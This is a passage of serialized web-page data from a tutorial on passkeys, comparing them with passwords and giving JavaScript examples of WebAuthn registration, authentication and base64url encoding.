using:",[41,285970,285971,285977,285982],{},[44,285972,285973,285976],{},[47,285974,285975],{},"Biometric sensors"," (fingerprint, face recognition)",[44,285978,285979],{},[47,285980,285981],{},"Device PIN or pattern",[44,285983,285984,285987],{},[47,285985,285986],{},"Security keys"," (YubiKey, Titan Key)",[16,285989,285990],{},"The passkey itself is stored on the user's device and never leaves it. When authenticating, the device uses the passkey to cryptographically sign a challenge from the server.",[33,285992,240274],{"id":240273},[193,285994,285995,286006],{},[196,285996,285997],{},[199,285998,285999,286001,286003],{},[202,286000,5867],{},[202,286002,217837],{},[202,286004,286005],{},"Passkeys",[211,286007,286008,286019,286032,286045,286058],{},[199,286009,286010,286015,286017],{},[216,286011,286012],{},[47,286013,286014],{},"Phishing resistant",[216,286016,6117],{},[216,286018,3057],{},[199,286020,286021,286026,286029],{},[216,286022,286023],{},[47,286024,286025],{},"Reusable across sites",[216,286027,286028],{},"Often (bad practice)",[216,286030,286031],{},"Never (unique per site)",[199,286033,286034,286039,286042],{},[216,286035,286036],{},[47,286037,286038],{},"Stored on server",[216,286040,286041],{},"Yes (hashed)",[216,286043,286044],{},"No (only public key)",[199,286046,286047,286052,286055],{},[216,286048,286049],{},[47,286050,286051],{},"User remembers",[216,286053,286054],{},"Yes (burden)",[216,286056,286057],{},"No (device handles it)",[199,286059,286060,286065,286068],{},[216,286061,286062],{},[47,286063,286064],{},"Works cross-device",[216,286066,286067],{},"Yes (with sync)",[216,286069,286067],{},[11,286071,286073],{"id":286072},"how-passkeys-work","How Passkeys Work",[16,286075,286076,286077,286080],{},"Passkeys use ",[47,286078,286079],{},"public-key cryptography",". When a user creates a passkey, a key pair is generated:",[41,286082,286083,286089],{},[44,286084,286085,286088],{},[47,286086,286087],{},"Private key",": Stays on the user's device (never transmitted)",[44,286090,286091,286094],{},[47,286092,286093],{},"Public key",": Sent to the server and stored in the user's account",[33,286096,286098],{"id":286097},"registration-flow","Registration Flow",[135,286100,286102],{"className":1607,"code":286101,"language":1609,"meta":141,"style":141},"\u002F\u002F Step 1: Server generates a challenge and sends to client\nasync function startRegistration(userId, username) {\n  const challenge = crypto.getRandomValues(new Uint8Array(32));\n\n  \u002F\u002F Send challenge to server, receive registration options\n  const options = await fetch('\u002Fapi\u002Fpasskey\u002Fregister-options', {\n    method: 'POST',\n    headers: { 'Content-Type': 'application\u002Fjson' },\n    body: JSON.stringify({ userId, username, challenge })\n  }).then(r => r.json());\n\n  \u002F\u002F Step 2: Create the passkey on the client\n  const credential = await navigator.credentials.create({\n    publicKey: {\n      challenge: base64urlToBuffer(options.challenge),\n      rp: {\n        name: \"Example App\",\n        id: \"example.com\"\n      },\n      user: {\n        id: base64urlToBuffer(options.userId),\n        name: username,\n        displayName: username\n      },\n      pubKeyCredParams: [\n        { alg: -7, type: \"public-key\" },   \u002F\u002F ES256\n        { alg: -257, type: \"public-key\" }  \u002F\u002F RS256\n      ],\n      authenticatorSelection: {\n        authenticatorAttachment: \"platform\", \u002F\u002F or \"cross-platform\" for security keys\n        userVerification: \"required\"\n      },\n      timeout: 60000\n    }\n  });\n\n  \u002F\u002F Step 3: Send the credential to server for storage\n  await fetch('\u002Fapi\u002Fpasskey\u002Fregister', {\n    method: 'POST',\n    headers: { 'Content-Type': 'application\u002Fjson' },\n    body: JSON.stringify({\n      credentialId: bufferToBase64url(credential.rawId),\n      publicKey: bufferToBase64url(credential.response.publicKey),\n      attestation: bufferToBase64url(credential.response.attestationObject)\n    })\n  });\n}\n",[143,286103,286104,286109,286129,286154,286158,286163,286183,286192,286205,286219,286239,286243,286248,286266,286271,286282,286287,286297,286305,286309,286314,286323,286328,286333,286337,286342,286363,286381,286385,286390,286403,286411,286415,286423,286427,286431,286435,286440,286453,286461,286473,286485,286496,286506,286516,286520,286524],{"__ignoreMap":141},[1560,286105,286106],{"class":1562,"line":1563},[1560,286107,286108],{"class":1649},"\u002F\u002F Step 1: Server generates a challenge and sends to client\n",[1560,286110,286111,286113,286115,286118,286120,286123,286125,286127],{"class":1562,"line":337},[1560,286112,82166],{"class":1669},[1560,286114,38314],{"class":1669},[1560,286116,286117],{"class":1566}," startRegistration",[1560,286119,1688],{"class":1570},[1560,286121,286122],{"class":2219},"userId",[1560,286124,1459],{"class":1570},[1560,286126,34990],{"class":2219},[1560,286128,9345],{"class":1570},[1560,286130,286131,286133,286136,286138,286140,286142,286144,286146,286148,286150,286152],{"class":1562,"line":343},[1560,286132,28057],{"class":1669},[1560,286134,286135],{"class":1576}," challenge",[1560,286137,8186],{"class":1669},[1560,286139,41913],{"class":1570},[1560,286141,41846],{"class":1566},[1560,286143,1688],{"class":1570},[1560,286145,20807],{"class":1669},[1560,286147,42188],{"class":1566},[1560,286149,1688],{"class":1570},[1560,286151,36042],{"class":1576},[1560,286153,41941],{"class":1570},[1560,286155,286156],{"class":1562,"line":365},[1560,286157,1702],{"emptyLinePlaceholder":363},[1560,286159,286160],{"class":1562,"line":889},[1560,286161,286162],{"class":1649},"  \u002F\u002F Send challenge to server, receive registration options\n",[1560,286164,286165,286167,286170,286172,286174,286176,286178,286181],{"class":1562,"line":1710},[1560,286166,28057],{"class":1669},[1560,286168,286169],{"class":1576}," options",[1560,286171,8186],{"class":1669},[1560,286173,28065],{"class":1669},[1560,286175,82254],{"class":1566},[1560,286177,1688],{"class":1570},[1560,286179,286180],{"class":5634},"'\u002Fapi\u002Fpasskey\u002Fregister-options'",[1560,286182,49495],{"class":1570},[1560,286184,286185,286188,286190],{"class":1562,"line":1717},[1560,286186,286187],{"class":1570},"    method: ",[1560,286189,82269],{"class":5634},[1560,286191,11943],{"class":1570},[1560,286193,286194,286197,286199,286201,286203],{"class":1562,"line":1747},[1560,286195,286196],{"class":1570},"    headers: { ",[1560,286198,82279],{"class":5634},[1560,286200,1663],{"class":1570},[1560,286202,82284],{"class":5634},[1560,286204,21223],{"class":1570},[1560,286206,286207,286210,286212,286214,286216],{"class":1562,"line":2507},[1560,286208,286209],{"class":1570},"    body: ",[1560,286211,13411],{"class":1576},[1560,286213,468],{"class":1570},[1560,286215,82298],{"class":1566},[1560,286217,286218],{"class":1570},"({ userId, username, challenge })\n",[1560,286220,286221,286223,286225,286227,286229,286231,286234,286236],{"class":1562,"line":2524},[1560,286222,9456],{"class":1570},[1560,286224,223895],{"class":1566},[1560,286226,1688],{"class":1570},[1560,286228,23114],{"class":2219},[1560,286230,9378],{"class":1669},[1560,286232,286233],{"class":1570}," r.",[1560,286235,23486],{"class":1566},[1560,286237,286238],{"class":1570},"());\n",[1560,286240,286241],{"class":1562,"line":2529},[1560,286242,1702],{"emptyLinePlaceholder":363},[1560,286244,286245],{"class":1562,"line":2534},[1560,286246,286247],{"class":1649},"  \u002F\u002F Step 2: Create the passkey on the client\n",[1560,286249,286250,286252,286255,286257,286259,286262,286264],{"class":1562,"line":2542},[1560,286251,28057],{"class":1669},[1560,286253,286254],{"class":1576}," credential",[1560,286256,8186],{"class":1669},[1560,286258,28065],{"class":1669},[1560,286260,286261],{"class":1570}," navigator.credentials.",[1560,286263,28071],{"class":1566},[1560,286265,17525],{"class":1570},[1560,286267,286268],{"class":1562,"line":2558},[1560,286269,286270],{"class":1570},"    publicKey: {\n",[1560,286272,286273,286276,286279],{"class":1562,"line":2570},[1560,286274,286275],{"class":1570},"      challenge: ",[1560,286277,286278],{"class":1566},"base64urlToBuffer",[1560,286280,286281],{"class":1570},"(options.challenge),\n",[1560,286283,286284],{"class":1562,"line":6638},[1560,286285,286286],{"class":1570},"      rp: {\n",[1560,286288,286289,286292,286295],{"class":1562,"line":11615},[1560,286290,286291],{"class":1570},"        name: ",[1560,286293,286294],{"class":5634},"\"Example App\"",[1560,286296,11943],{"class":1570},[1560,286298,286299,286302],{"class":1562,"line":11621},[1560,286300,286301],{"class":1570},"        id: ",[1560,286303,286304],{"class":5634},"\"example.com\"\n",[1560,286306,286307],{"class":1562,"line":11633},[1560,286308,11976],{"class":1570},[1560,286310,286311],{"class":1562,"line":11638},[1560,286312,286313],{"class":1570},"      user: {\n",[1560,286315,286316,286318,286320],{"class":1562,"line":11672},[1560,286317,286301],{"class":1570},[1560,286319,286278],{"class":1566},[1560,286321,286322],{"class":1570},"(options.userId),\n",[1560,286324,286325],{"class":1562,"line":19435},[1560,286326,286327],{"class":1570},"        name: username,\n",[1560,286329,286330],{"class":1562,"line":19442},[1560,286331,286332],{"class":1570},"        displayName: username\n",[1560,286334,286335],{"class":1562,"line":19475},[1560,286336,11976],{"class":1570},[1560,286338,286339],{"class":1562,"line":19508},[1560,286340,286341],{"class":1570},"      pubKeyCredParams: [\n",[1560,286343,286344,286347,286349,286351,286354,286357,286360],{"class":1562,"line":44196},[1560,286345,286346],{"class":1570},"        { alg: ",[1560,286348,9412],{"class":1669},[1560,286350,735],{"class":1576},[1560,286352,286353],{"class":1570},", type: ",[1560,286355,286356],{"class":5634},"\"public-key\"",[1560,286358,286359],{"class":1570}," },   ",[1560,286361,286362],{"class":1649},"\u002F\u002F ES256\n",[1560,286364,286365,286367,286369,286372,286374,286376,286378],{"class":1562,"line":44203},[1560,286366,286346],{"class":1570},[1560,286368,9412],{"class":1669},[1560,286370,286371],{"class":1576},"257",[1560,286373,286353],{"class":1570},[1560,286375,286356],{"class":5634},[1560,286377,138785],{"class":1570},[1560,286379,286380],{"class":1649},"\u002F\u002F RS256\n",[1560,286382,286383],{"class":1562,"line":44220},[1560,286384,21266],{"class":1570},[1560,286386,286387],{"class":1562,"line":71501},[1560,286388,286389],{"class":1570},"      authenticatorSelection: {\n",[1560,286391,286392,286395,286398,286400],{"class":1562,"line":71518},[1560,286393,286394],{"class":1570},"        authenticatorAttachment: ",[1560,286396,286397],{"class":5634},"\"platform\"",[1560,286399,1459],{"class":1570},[1560,286401,286402],{"class":1649},"\u002F\u002F or \"cross-platform\" for security keys\n",[1560,286404,286405,286408],{"class":1562,"line":71529},[1560,286406,286407],{"class":1570},"        userVerification: ",[1560,286409,286410],{"class":5634},"\"required\"\n",[1560,286412,286413],{"class":1562,"line":176459},[1560,286414,11976],{"class":1570},[1560,286416,286417,286420],{"class":1562,"line":176464},[1560,286418,286419],{"class":1570},"      timeout: ",[1560,286421,286422],{"class":1576},"60000\n",[1560,286424,286425],{"class":1562,"line":176469},[1560,286426,11612],{"class":1570},[1560,286428,286429],{"class":1562,"line":176489},[1560,286430,11618],{"class":1570},[1560,286432,286433],{"class":1562,"line":234723},[1560,286434,1702],{"emptyLinePlaceholder":363},[1560,286436,286437],{"class":1562,"line":234734},[1560,286438,286439],{"class":1649},"  \u002F\u002F Step 3: Send the credential to server for storage\n",[1560,286441,286442,286444,286446,286448,286451],{"class":1562,"line":234744},[1560,286443,28084],{"class":1669},[1560,286445,82254],{"class":1566},[1560,286447,1688],{"class":1570},[1560,286449,286450],{"class":5634},"'\u002Fapi\u002Fpasskey\u002Fregister'",[1560,286452,49495],{"class":1570},[1560,286454,286455,286457,286459],{"class":1562,"line":234754},[1560,286456,286187],{"class":1570},[1560,286458,82269],{"class":5634},[1560,286460,11943],{"class":1570},[1560,286462,286463,286465,286467,286469,286471],{"class":1562,"line":234765},[1560,286464,286196],{"class":1570},[1560,286466,82279],{"class":5634},[1560,286468,1663],{"class":1570},[1560,286470,82284],{"class":5634},[1560,286472,21223],{"class":1570},[1560,286474,286475,286477,286479,286481,286483],{"class":1562,"line":234773},[1560,286476,286209],{"class":1570},[1560,286478,13411],{"class":1576},[1560,286480,468],{"class":1570},[1560,286482,82298],{"class":1566},[1560,286484,17525],{"class":1570},[1560,286486,286487,286490,286493],{"class":1562,"line":234780},[1560,286488,286489],{"class":1570},"      credentialId: ",[1560,286491,286492],{"class":1566},"bufferToBase64url",[1560,286494,286495],{"class":1570},"(credential.rawId),\n",[1560,286497,286498,286501,286503],{"class":1562,"line":234790},[1560,286499,286500],{"class":1570},"      publicKey: ",[1560,286502,286492],{"class":1566},[1560,286504,286505],{"class":1570},"(credential.response.publicKey),\n",[1560,286507,286508,286511,286513],{"class":1562,"line":234799},[1560,286509,286510],{"class":1570},"      attestation: ",[1560,286512,286492],{"class":1566},[1560,286514,286515],{"class":1570},"(credential.response.attestationObject)\n",[1560,286517,286518],{"class":1562,"line":234808},[1560,286519,49521],{"class":1570},[1560,286521,286522],{"class":1562,"line":234817},[1560,286523,11618],{"class":1570},[1560,286525,286526],{"class":1562,"line":234825},[1560,286527,1585],{"class":1570},[33,286529,286531],{"id":286530},"authentication-flow","Authentication Flow",[135,286533,286535],{"className":1607,"code":286534,"language":1609,"meta":141,"style":141},"async function startAuthentication() {\n  \u002F\u002F Step 1: Get authentication options from server\n  const options = await fetch('\u002Fapi\u002Fpasskey\u002Fauth-options').then(r => r.json());\n\n  \u002F\u002F Step 2: Get the passkey assertion from the client\n  const assertion = await navigator.credentials.get({\n    publicKey: {\n      challenge: base64urlToBuffer(options.challenge),\n      allowCredentials: options.allowedCredentials?.map(c => ({\n        id: base64urlToBuffer(c.id),\n        type: 'public-key'\n      })) || [],\n      userVerification: \"required\",\n      timeout: 60000\n    }\n  });\n\n  \u002F\u002F Step 3: Send assertion to server for verification\n  const result = await fetch('\u002Fapi\u002Fpasskey\u002Fauthenticate', {\n    method: 'POST',\n    headers: { 'Content-Type': 'application\u002Fjson' },\n    body: JSON.stringify({\n      credentialId: bufferToBase64url(assertion.rawId),\n      authenticatorData: bufferToBase64url(assertion.response.authenticatorData),\n      clientDataJSON: bufferToBase64url(assertion.response.clientDataJSON),\n      signature: bufferToBase64url(assertion.response.signature)\n    })\n  }).then(r => r.json());\n\n  if (result.success) {\n    console.log(\"Authenticated successfully!\");\n  }\n}\n",[143,286536,286537,286548,286553,286586,286590,286595,286612,286616,286624,286639,286648,286656,286666,286676,286682,286686,286690,286694,286699,286718,286726,286738,286750,286759,286769,286779,286789,286793,286811,286815,286822,286835,286839],{"__ignoreMap":141},[1560,286538,286539,286541,286543,286546],{"class":1562,"line":1563},[1560,286540,82166],{"class":1669},[1560,286542,38314],{"class":1669},[1560,286544,286545],{"class":1566}," startAuthentication",[1560,286547,8654],{"class":1570},[1560,286549,286550],{"class":1562,"line":337},[1560,286551,286552],{"class":1649},"  \u002F\u002F Step 1: Get authentication options from server\n",[1560,286554,286555,286557,286559,286561,286563,286565,286567,286570,286572,286574,286576,286578,286580,286582,286584],{"class":1562,"line":343},[1560,286556,28057],{"class":1669},[1560,286558,286169],{"class":1576},[1560,286560,8186],{"class":1669},[1560,286562,28065],{"class":1669},[1560,286564,82254],{"class":1566},[1560,286566,1688],{"class":1570},[1560,286568,286569],{"class":5634},"'\u002Fapi\u002Fpasskey\u002Fauth-options'",[1560,286571,9368],{"class":1570},[1560,286573,223895],{"class":1566},[1560,286575,1688],{"class":1570},[1560,286577,23114],{"class":2219},[1560,286579,9378],{"class":1669},[1560,286581,286233],{"class":1570},[1560,286583,23486],{"class":1566},[1560,286585,286238],{"class":1570},[1560,286587,286588],{"class":1562,"line":365},[1560,286589,1702],{"emptyLinePlaceholder":363},[1560,286591,286592],{"class":1562,"line":889},[1560,286593,286594],{"class":1649},"  \u002F\u002F Step 2: Get the passkey assertion from the client\n",[1560,286596,286597,286599,286602,286604,286606,286608,286610],{"class":1562,"line":1710},[1560,286598,28057],{"class":1669},[1560,286600,286601],{"class":1576}," assertion",[1560,286603,8186],{"class":1669},[1560,286605,28065],{"class":1669},[1560,286607,286261],{"class":1570},[1560,286609,82334],{"class":1566},[1560,286611,17525],{"class":1570},[1560,286613,286614],{"class":1562,"line":1717},[1560,286615,286270],{"class":1570},[1560,286617,286618,286620,286622],{"class":1562,"line":1747},[1560,286619,286275],{"class":1570},[1560,286621,286278],{"class":1566},[1560,286623,286281],{"class":1570},[1560,286625,286626,286629,286631,286633,286635,286637],{"class":1562,"line":2507},[1560,286627,286628],{"class":1570},"      allowCredentials: options.allowedCredentials?.",[1560,286630,9371],{"class":1566},[1560,286632,1688],{"class":1570},[1560,286634,13943],{"class":2219},[1560,286636,9378],{"class":1669},[1560,286638,23067],{"class":1570},[1560,286640,286641,286643,286645],{"class":1562,"line":2524},[1560,286642,286301],{"class":1570},[1560,286644,286278],{"class":1566},[1560,286646,286647],{"class":1570},"(c.id),\n",[1560,286649,286650,286653],{"class":1562,"line":2529},[1560,286651,286652],{"class":1570},"        type: ",[1560,286654,286655],{"class":5634},"'public-key'\n",[1560,286657,286658,286661,286663],{"class":1562,"line":2534},[1560,286659,286660],{"class":1570},"      })) ",[1560,286662,82344],{"class":1669},[1560,286664,286665],{"class":1570}," [],\n",[1560,286667,286668,286671,286674],{"class":1562,"line":2542},[1560,286669,286670],{"class":1570},"      userVerification: ",[1560,286672,286673],{"class":5634},"\"required\"",[1560,286675,11943],{"class":1570},[1560,286677,286678,286680],{"class":1562,"line":2558},[1560,286679,286419],{"class":1570},[1560,286681,286422],{"class":1576},[1560,286683,286684],{"class":1562,"line":2570},[1560,286685,11612],{"class":1570},[1560,286687,286688],{"class":1562,"line":6638},[1560,286689,11618],{"class":1570},[1560,286691,286692],{"class":1562,"line":11615},[1560,286693,1702],{"emptyLinePlaceholder":363},[1560,286695,286696],{"class":1562,"line":11621},[1560,286697,286698],{"class":1649},"  \u002F\u002F Step 3: Send assertion to server for verification\n",[1560,286700,286701,286703,286705,286707,286709,286711,286713,286716],{"class":1562,"line":11633},[1560,286702,28057],{"class":1669},[1560,286704,80830],{"class":1576},[1560,286706,8186],{"class":1669},[1560,286708,28065],{"class":1669},[1560,286710,82254],{"class":1566},[1560,286712,1688],{"class":1570},[1560,286714,286715],{"class":5634},"'\u002Fapi\u002Fpasskey\u002Fauthenticate'",[1560,286717,49495],{"class":1570},[1560,286719,286720,286722,286724],{"class":1562,"line":11638},[1560,286721,286187],{"class":1570},[1560,286723,82269],{"class":5634},[1560,286725,11943],{"class":1570},[1560,286727,286728,286730,286732,286734,286736],{"class":1562,"line":11672},[1560,286729,286196],{"class":1570},[1560,286731,82279],{"class":5634},[1560,286733,1663],{"class":1570},[1560,286735,82284],{"class":5634},[1560,286737,21223],{"class":1570},[1560,286739,286740,286742,286744,286746,286748],{"class":1562,"line":19435},[1560,286741,286209],{"class":1570},[1560,286743,13411],{"class":1576},[1560,286745,468],{"class":1570},[1560,286747,82298],{"class":1566},[1560,286749,17525],{"class":1570},[1560,286751,286752,286754,286756],{"class":1562,"line":19442},[1560,286753,286489],{"class":1570},[1560,286755,286492],{"class":1566},[1560,286757,286758],{"class":1570},"(assertion.rawId),\n",[1560,286760,286761,286764,286766],{"class":1562,"line":19475},[1560,286762,286763],{"class":1570},"      authenticatorData: ",[1560,286765,286492],{"class":1566},[1560,286767,286768],{"class":1570},"(assertion.response.authenticatorData),\n",[1560,286770,286771,286774,286776],{"class":1562,"line":19508},[1560,286772,286773],{"class":1570},"      clientDataJSON: ",[1560,286775,286492],{"class":1566},[1560,286777,286778],{"class":1570},"(assertion.response.clientDataJSON),\n",[1560,286780,286781,286784,286786],{"class":1562,"line":44196},[1560,286782,286783],{"class":1570},"      signature: ",[1560,286785,286492],{"class":1566},[1560,286787,286788],{"class":1570},"(assertion.response.signature)\n",[1560,286790,286791],{"class":1562,"line":44203},[1560,286792,49521],{"class":1570},[1560,286794,286795,286797,286799,286801,286803,286805,286807,286809],{"class":1562,"line":44220},[1560,286796,9456],{"class":1570},[1560,286798,223895],{"class":1566},[1560,286800,1688],{"class":1570},[1560,286802,23114],{"class":2219},[1560,286804,9378],{"class":1669},[1560,286806,286233],{"class":1570},[1560,286808,23486],{"class":1566},[1560,286810,286238],{"class":1570},[1560,286812,286813],{"class":1562,"line":71501},[1560,286814,1702],{"emptyLinePlaceholder":363},[1560,286816,286817,286819],{"class":1562,"line":71518},[1560,286818,27984],{"class":1669},[1560,286820,286821],{"class":1570}," (result.success) {\n",[1560,286823,286824,286826,286828,286830,286833],{"class":1562,"line":71529},[1560,286825,102264],{"class":1570},[1560,286827,8214],{"class":1566},[1560,286829,1688],{"class":1570},[1560,286831,286832],{"class":5634},"\"Authenticated successfully!\"",[1560,286834,1744],{"class":1570},[1560,286836,286837],{"class":1562,"line":176459},[1560,286838,4959],{"class":1570},[1560,286840,286841],{"class":1562,"line":176464},[1560,286842,1585],{"class":1570},[33,286844,286846],{"id":286845},"utility-functions","Utility Functions",[135,286848,286850],{"className":1607,"code":286849,"language":1609,"meta":141,"style":141},"\u002F\u002F Base64URL encoding\u002Fdecoding for WebAuthn\nfunction bufferToBase64url(buffer) {\n  const bytes = new Uint8Array(buffer);\n  let binary = '';\n  for (let i = 0; i \u003C bytes.byteLength; i++) {\n    binary += String.fromCharCode(bytes[i]);\n  }\n  return btoa(binary)\n    .replace(\u002F\\+\u002Fg, '-')\n    .replace(\u002F\\\u002F\u002Fg, '_')\n    .replace(\u002F=+$\u002F, '');\n}\n\nfunction base64urlToBuffer(base64url) {\n  const base64 = base64url\n    .replace(\u002F-\u002Fg, '+')\n    .replace(\u002F_\u002Fg, '\u002F');\n  const padded = base64 + '==='.slice((base64.length + 3) % 4);\n  const binary = atob(padded);\n  const buffer = new ArrayBuffer(binary.length);\n  const bytes = new Uint8Array(buffer);\n  for (let i = 0; i \u003C binary.length; i++) {\n    bytes[i] = binary.charCodeAt(i);\n  }\n  return buffer;\n}\n",[143,286851,286852,286857,286870,286884,286897,286922,286936,286940,286948,286970,286992,287014,287018,287022,287035,287045,287067,287089,287124,287137,287158,287172,287201,287215,287219,287226],{"__ignoreMap":141},[1560,286853,286854],{"class":1562,"line":1563},[1560,286855,286856],{"class":1649},"\u002F\u002F Base64URL encoding\u002Fdecoding for WebAuthn\n",[1560,286858,286859,286861,286864,286866,286868],{"class":1562,"line":337},[1560,286860,8648],{"class":1669},[1560,286862,286863],{"class":1566}," bufferToBase64url",[1560,286865,1688],{"class":1570},[1560,286867,262977],{"class":2219},[1560,286869,9345],{"class":1570},[1560,286871,286872,286874,286876,286878,286880,286882],{"class":1562,"line":343},[1560,286873,28057],{"class":1669},[1560,286875,41908],{"class":1576},[1560,286877,8186],{"class":1669},[1560,286879,11489],{"class":1669},[1560,286881,42188],{"class":1566},[1560,286883,13706],{"class":1570},[1560,286885,286886,286888,286891,286893,286895],{"class":1562,"line":365},[1560,286887,38049],{"class":1669},[1560,286889,286890],{"class":1570}," binary ",[1560,286892,7297],{"class":1669},[1560,286894,81655],{"class":5634},[1560,286896,2228],{"class":1570},[1560,286898,286899,286901,286903,286905,286907,286909,286911,286913,286915,286918,286920],{"class":1562,"line":889},[1560,286900,82192],{"class":1669},[1560,286902,5181],{"class":1570},[1560,286904,41680],{"class":1669},[1560,286906,7950],{"class":1570},[1560,286908,7297],{"class":1669},[1560,286910,13541],{"class":1576},[1560,286912,82205],{"class":1570},[1560,286914,6431],{"class":1669},[1560,286916,286917],{"class":1570}," bytes.byteLength; i",[1560,286919,101562],{"class":1669},[1560,286921,9345],{"class":1570},[1560,286923,286924,286927,286929,286931,286933],{"class":1562,"line":1710},[1560,286925,286926],{"class":1570},"    binary ",[1560,286928,28386],{"class":1669},[1560,286930,22779],{"class":1570},[1560,286932,22782],{"class":1566},[1560,286934,286935],{"class":1570},"(bytes[i]);\n",[1560,286937,286938],{"class":1562,"line":1717},[1560,286939,4959],{"class":1570},[1560,286941,286942,286944,286946],{"class":1562,"line":1747},[1560,286943,9350],{"class":1669},[1560,286945,43090],{"class":1566},[1560,286947,43093],{"class":1570},[1560,286949,286950,286952,286954,286956,286958,286960,286962,286964,286966,286968],{"class":1562,"line":2507},[1560,286951,37982],{"class":1570},[1560,286953,22721],{"class":1566},[1560,286955,1688],{"class":1570},[1560,286957,9423],{"class":5634},[1560,286959,43106],{"class":11915},[1560,286961,9423],{"class":5634},[1560,286963,22733],{"class":1669},[1560,286965,1459],{"class":1570},[1560,286967,43115],{"class":5634},[1560,286969,8252],{"class":1570},[1560,286971,286972,286974,286976,286978,286980,286982,286984,286986,286988,286990],{"class":1562,"line":2524},[1560,286973,37982],{"class":1570},[1560,286975,22721],{"class":1566},[1560,286977,1688],{"class":1570},[1560,286979,9423],{"class":5634},[1560,286981,43130],{"class":11915},[1560,286983,9423],{"class":5634},[1560,286985,22733],{"class":1669},[1560,286987,1459],{"class":1570},[1560,286989,43139],{"class":5634},[1560,286991,8252],{"class":1570},[1560,286993,286994,286996,286998,287000,287002,287004,287006,287008,287010,287012],{"class":1562,"line":2529},[1560,286995,37982],{"class":1570},[1560,286997,22721],{"class":1566},[1560,286999,1688],{"class":1570},[1560,287001,9423],{"class":5634},[1560,287003,7297],{"class":11919},[1560,287005,43156],{"class":1669},[1560,287007,9423],{"class":5634},[1560,287009,1459],{"class":1570},[1560,287011,5635],{"class":5634},[1560,287013,1744],{"class":1570},[1560,287015,287016],{"class":1562,"line":2534},[1560,287017,1585],{"class":1570},[1560,287019,287020],{"class":1562,"line":2542},[1560,287021,1702],{"emptyLinePlaceholder":363},[1560,287023,287024,287026,287029,287031,287033],{"class":1562,"line":2558},[1560,287025,8648],{"class":1669},[1560,287027,287028],{"class":1566}," base64urlToBuffer",[1560,287030,1688],{"class":1570},[1560,287032,254981],{"class":2219},[1560,287034,9345],{"class":1570},[1560,287036,287037,287039,287041,287043],{"class":1562,"line":2570},[1560,287038,28057],{"class":1669},[1560,287040,131027],{"class":1576},[1560,287042,8186],{"class":1669},[1560,287044,262076],{"class":1570},[1560,287046,287047,287049,287051,287053,287055,287057,287059,287061,287063,287065],{"class":1562,"line":6638},[1560,287048,37982],{"class":1570},[1560,287050,22721],{"class":1566},[1560,287052,1688],{"class":1570},[1560,287054,9423],{"class":5634},[1560,287056,9412],{"class":11919},[1560,287058,9423],{"class":5634},[1560,287060,22733],{"class":1669},[1560,287062,1459],{"class":1570},[1560,287064,89979],{"class":5634},[1560,287066,8252],{"class":1570},[1560,287068,287069,287071,287073,287075,287077,287079,287081,287083,287085,287087],{"class":1562,"line":11615},[1560,287070,37982],{"class":1570},[1560,287072,22721],{"class":1566},[1560,287074,1688],{"class":1570},[1560,287076,9423],{"class":5634},[1560,287078,23056],{"class":11919},[1560,287080,9423],{"class":5634},[1560,287082,22733],{"class":1669},[1560,287084,1459],{"class":1570},[1560,287086,89998],{"class":5634},[1560,287088,1744],{"class":1570},[1560,287090,287091,287093,287095,287097,287099,287101,287103,287105,287107,287110,287112,287114,287116,287118,287120,287122],{"class":1562,"line":11621},[1560,287092,28057],{"class":1669},[1560,287094,262527],{"class":1576},[1560,287096,8186],{"class":1669},[1560,287098,242501],{"class":1570},[1560,287100,9448],{"class":1669},[1560,287102,262537],{"class":5634},[1560,287104,468],{"class":1570},[1560,287106,38951],{"class":1566},[1560,287108,287109],{"class":1570},"((base64.",[1560,287111,9418],{"class":1576},[1560,287113,29002],{"class":1669},[1560,287115,48433],{"class":1576},[1560,287117,1733],{"class":1570},[1560,287119,17990],{"class":1669},[1560,287121,13574],{"class":1576},[1560,287123,1744],{"class":1570},[1560,287125,287126,287128,287130,287132,287134],{"class":1562,"line":11633},[1560,287127,28057],{"class":1669},[1560,287129,43070],{"class":1576},[1560,287131,8186],{"class":1669},[1560,287133,259688],{"class":1566},[1560,287135,287136],{"class":1570},"(padded);\n",[1560,287138,287139,287141,287144,287146,287148,287151,287154,287156],{"class":1562,"line":11638},[1560,287140,28057],{"class":1669},[1560,287142,287143],{"class":1576}," buffer",[1560,287145,8186],{"class":1669},[1560,287147,11489],{"class":1669},[1560,287149,287150],{"class":1566}," ArrayBuffer",[1560,287152,287153],{"class":1570},"(binary.",[1560,287155,9418],{"class":1576},[1560,287157,1744],{"class":1570},[1560,287159,287160,287162,287164,287166,287168,287170],{"class":1562,"line":11672},[1560,287161,28057],{"class":1669},[1560,287163,41908],{"class":1576},[1560,287165,8186],{"class":1669},[1560,287167,11489],{"class":1669},[1560,287169,42188],{"class":1566},[1560,287171,13706],{"class":1570},[1560,287173,287174,287176,287178,287180,287182,287184,287186,287188,287190,287193,287195,287197,287199],{"class":1562,"line":19435},[1560,287175,82192],{"class":1669},[1560,287177,5181],{"class":1570},[1560,287179,41680],{"class":1669},[1560,287181,7950],{"class":1570},[1560,287183,7297],{"class":1669},[1560,287185,13541],{"class":1576},[1560,287187,82205],{"class":1570},[1560,287189,6431],{"class":1669},[1560,287191,287192],{"class":1570}," binary.",[1560,287194,9418],{"class":1576},[1560,287196,101559],{"class":1570},[1560,287198,101562],{"class":1669},[1560,287200,9345],{"class":1570},[1560,287202,287203,287206,287208,287210,287212],{"class":1562,"line":19442},[1560,287204,287205],{"class":1570},"    bytes[i] ",[1560,287207,7297],{"class":1669},[1560,287209,287192],{"class":1570},[1560,287211,22788],{"class":1566},[1560,287213,287214],{"class":1570},"(i);\n",[1560,287216,287217],{"class":1562,"line":19475},[1560,287218,4959],{"class":1570},[1560,287220,287221,287223],{"class":1562,"line":19508},[1560,287222,9350],{"class":1669},[1560,287224,287225],{"class":1570}," buffer;\n",[1560,287227,287228],{"class":1562,"line":44196},[1560,287229,1585],{"class":1570},[11,287231,287233],{"id":287232},"passkeys-vs-passwords-detailed-comparison","Passkeys vs Passwords: Detailed Comparison",[33,287235,22314],{"id":287236},"security",[193,287238,287239,287250],{},[196,287240,287241],{},[199,287242,287243,287246,287248],{},[202,287244,287245],{},"Threat",[202,287247,217837],{},[202,287249,286005],{},[211,287251,287252,287265,287277,287290,287302],{},[199,287253,287254,287259,287262],{},[216,287255,287256],{},[47,287257,287258],{},"Phishing",[216,287260,287261],{},"Vulnerable (user types password on fake site)",[216,287263,287264],{},"Immune (passkey bound to domain)",[199,287266,287267,287271,287274],{},[216,287268,287269],{},[47,287270,239746],{},[216,287272,287273],{},"High risk (reused passwords)",[216,287275,287276],{},"Impossible (unique per site)",[199,287278,287279,287284,287287],{},[216,287280,287281],{},[47,287282,287283],{},"Server 